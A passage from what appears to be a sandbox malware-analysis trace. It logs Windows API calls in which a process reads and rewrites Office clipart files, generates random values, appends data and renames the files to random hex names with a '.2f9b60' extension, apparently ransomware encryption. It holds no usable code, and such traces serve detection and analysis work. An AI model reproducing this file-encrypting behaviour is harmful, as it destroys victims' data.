Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21ac [0149.983] GetFileSizeEx (in: hFile=0x21ac, lpFileSize=0x28c9faa0 | out: lpFileSize=0x28c9faa0*=2084) returned 1 [0149.983] SetFilePointerEx (in: hFile=0x21ac, liDistanceToMove=0x820, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.983] ReadFile (in: hFile=0x21ac, lpBuffer=0x28c9fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28c9fa68, lpOverlapped=0x0 | out: lpBuffer=0x28c9fa20*, lpNumberOfBytesRead=0x28c9fa68*=0x4, lpOverlapped=0x0) returned 1 [0149.985] SetFilePointerEx (in: hFile=0x21ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d90 [0149.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e20 [0149.985] NtQuerySystemTime (in: CurrentTime=0x28c9f960 | out: CurrentTime=0x28c9f960*=132462177551962000) returned 0x0 [0149.985] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x455f93cb [0149.985] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x42810f6d [0149.985] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x68b247da [0149.985] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x65eab37a [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x631aa951 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x29a03b62 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x4fa9996f [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x3af7b36e [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x15854596 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x13e5d38a [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x23f35204 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x3e522a30 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0xfd88331 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x3658b7cb [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x48e815c8 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0xba6cf81 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x295065f6 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x7ea3a95e [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x5a9561ff [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x49cbe93d [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x3e7daa56 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x7ee50274 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x78e00ac2 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x71fcc1a6 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x6fa1f1e1 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x6ae4a5c7 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x4222f10c [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x462b5c77 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x14af9f20 [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x262c9e1c [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x61a34bce [0149.986] RtlRandomEx (in: Seed=0x28c9f950 | out: Seed=0x28c9f950) returned 0x15a5dc32 [0149.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e50 [0149.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aab0 [0149.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e80 [0149.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aab0) returned 1 [0149.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e20) returned 1 [0149.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0149.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aab0 [0149.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423e2de0 [0149.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423e69f0 [0149.995] ReadFile (in: hFile=0x21ac, lpBuffer=0x423e2de0, nNumberOfBytesToRead=0x824, lpNumberOfBytesRead=0x28c9f950, lpOverlapped=0x0 | out: lpBuffer=0x423e2de0*, lpNumberOfBytesRead=0x28c9f950*=0x824, lpOverlapped=0x0) returned 1 [0149.995] SetFilePointerEx (in: hFile=0x21ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.995] WriteFile (in: hFile=0x21ac, lpBuffer=0x423e69f0*, nNumberOfBytesToWrite=0x824, lpNumberOfBytesWritten=0x28c9f954, lpOverlapped=0x0 | out: lpBuffer=0x423e69f0*, lpNumberOfBytesWritten=0x28c9f954*=0x824, lpOverlapped=0x0) returned 1 [0161.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6c50 [0161.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6c80 [0161.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6c80) returned 1 [0161.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423e69f0) returned 1 [0161.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423e2de0) returned 1 [0161.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aab0) returned 1 [0161.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0161.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6c80 [0161.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0161.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aab0 [0161.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6cb0 [0161.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6cb0) returned 1 [0161.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6cb0 [0161.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6ce0 [0161.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6d10 [0161.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6d10) returned 1 [0161.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aab0) returned 1 [0161.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0161.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad4f0 [0161.995] SetFilePointerEx (in: hFile=0x21ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.995] WriteFile (in: hFile=0x21ac, lpBuffer=0x423ad4f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x28c9fa70, lpOverlapped=0x0 | out: lpBuffer=0x423ad4f0*, lpNumberOfBytesWritten=0x28c9fa70*=0x10a, lpOverlapped=0x0) returned 1 [0163.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ed0 [0163.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ed0) returned 1 [0163.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d080 [0163.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ed0 [0163.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ea0 [0163.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ea0) returned 1 [0163.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.946] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="72") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="79") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="12") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="ef") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="90") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="9d") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="b2") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="b6") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="01") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="5e") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="29") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="88") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="be") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="16") returned 2 [0163.946] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="ee") returned 2 [0163.946] RtlInitAnsiString (in: DestinationString=0x28c9fae8, SourceString="724d7912d1ef5b90a92fd92f9db28db6015e29d488be16ee" | out: DestinationString="724d7912d1ef5b90a92fd92f9db28db6015e29d488be16ee") [0163.946] RtlAnsiStringToUnicodeString (in: DestinationString=0x28c9fab8, SourceString="724d7912d1ef5b90a92fd92f9db28db6015e29d488be16ee", AllocateDestinationString=1 | out: DestinationString="724d7912d1ef5b90a92fd92f9db28db6015e29d488be16ee") returned 0x0 [0163.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa3c0 [0163.947] RtlFreeAnsiString (AnsiString="7") [0163.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ed0) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad4f0) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6cb0) returned 1 [0163.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ce0) returned 1 [0163.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6c80) returned 1 [0163.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6c50) returned 1 [0163.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d90) returned 1 [0163.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e50) returned 1 [0163.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e80) returned 1 [0163.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230dec0 [0163.950] wcscat (in: _Dest=0x4230dec0, _Source="724d7912d1ef" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\724d7912d1ef") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\724d7912d1ef" [0163.950] wcscat (in: _Dest=0x4230dec0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\724d7912d1ef.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\724d7912d1ef.2f9b60" [0163.950] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\724d7912d1ef.2f9b60", NtPathName=0x28c9fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\724d7912d1ef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a8d0 Thread: id = 2357 os_tid = 0x1d38 [0149.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0149.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF", dwFileAttributes=0x20) returned 1 [0149.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21b0 [0149.998] GetFileSizeEx (in: hFile=0x21b0, lpFileSize=0x28c1f980 | out: lpFileSize=0x28c1f980*=1448) returned 1 [0149.998] SetFilePointerEx (in: hFile=0x21b0, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.998] ReadFile (in: hFile=0x21b0, lpBuffer=0x28c1f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28c1f948, lpOverlapped=0x0 | out: lpBuffer=0x28c1f900*, lpNumberOfBytesRead=0x28c1f948*=0x4, lpOverlapped=0x0) returned 1 [0150.000] SetFilePointerEx (in: hFile=0x21b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e20 [0150.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3eb0 [0150.000] NtQuerySystemTime (in: CurrentTime=0x28c1f840 | out: CurrentTime=0x28c1f840*=132462177552118000) returned 0x0 [0150.000] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x34ca9f56 [0150.000] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x60377142 [0150.000] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x25ce8ece [0150.000] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x39e41612 [0150.000] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x3536f298 [0150.000] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x48f625da [0150.000] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x1e39085b [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x12c699e1 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x10548e8b [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x93692fa [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x10f37f5c [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x557f6121 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0xdb4686 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x7214c700 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x74bd4b87 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x7c3a6207 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x5fae77a9 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x2a7720cb [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x39243e66 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x1d9971f3 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0xf354e6c [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x12620143 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x341cd1c [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x2f5f60ad [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x62309714 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0xdc8d021 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x6b0ecf50 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x70b703f [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x790fc2ca [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x5c817fd9 [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x1a727b6e [0150.001] RtlRandomEx (in: Seed=0x28c1f830 | out: Seed=0x28c1f830) returned 0x32a9f3e2 [0150.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ee0 [0150.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ab30 [0150.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f10 [0150.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ab30) returned 1 [0150.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3eb0) returned 1 [0150.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059790 [0150.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ab30 [0150.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ea600 [0150.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ee500 [0150.017] ReadFile (in: hFile=0x21b0, lpBuffer=0x423ea600, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0x28c1f830, lpOverlapped=0x0 | out: lpBuffer=0x423ea600*, lpNumberOfBytesRead=0x28c1f830*=0x5a8, lpOverlapped=0x0) returned 1 [0150.017] SetFilePointerEx (in: hFile=0x21b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.017] WriteFile (in: hFile=0x21b0, lpBuffer=0x423ee500*, nNumberOfBytesToWrite=0x5a8, lpNumberOfBytesWritten=0x28c1f834, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesWritten=0x28c1f834*=0x5a8, lpOverlapped=0x0) returned 1 [0162.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fb0 [0162.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fe0 [0162.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6fe0) returned 1 [0162.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0162.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ea600) returned 1 [0162.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ab30) returned 1 [0162.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059790) returned 1 [0162.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6fe0 [0162.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059790 [0162.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ab30 [0162.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7010 [0162.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7010) returned 1 [0162.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7010 [0162.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7040 [0162.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7070 [0162.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7070) returned 1 [0162.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ab30) returned 1 [0162.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059790) returned 1 [0162.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad730 [0162.031] SetFilePointerEx (in: hFile=0x21b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.031] WriteFile (in: hFile=0x21b0, lpBuffer=0x423ad730*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x28c1f950, lpOverlapped=0x0 | out: lpBuffer=0x423ad730*, lpNumberOfBytesWritten=0x28c1f950*=0x10a, lpOverlapped=0x0) returned 1 [0163.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9110 [0163.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9110) returned 1 [0163.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d0c0 [0163.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9110 [0163.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd90e0 [0163.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd90e0) returned 1 [0163.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.991] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="90") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="66") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="09") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="01") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="05") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.991] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="60") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="06") returned 2 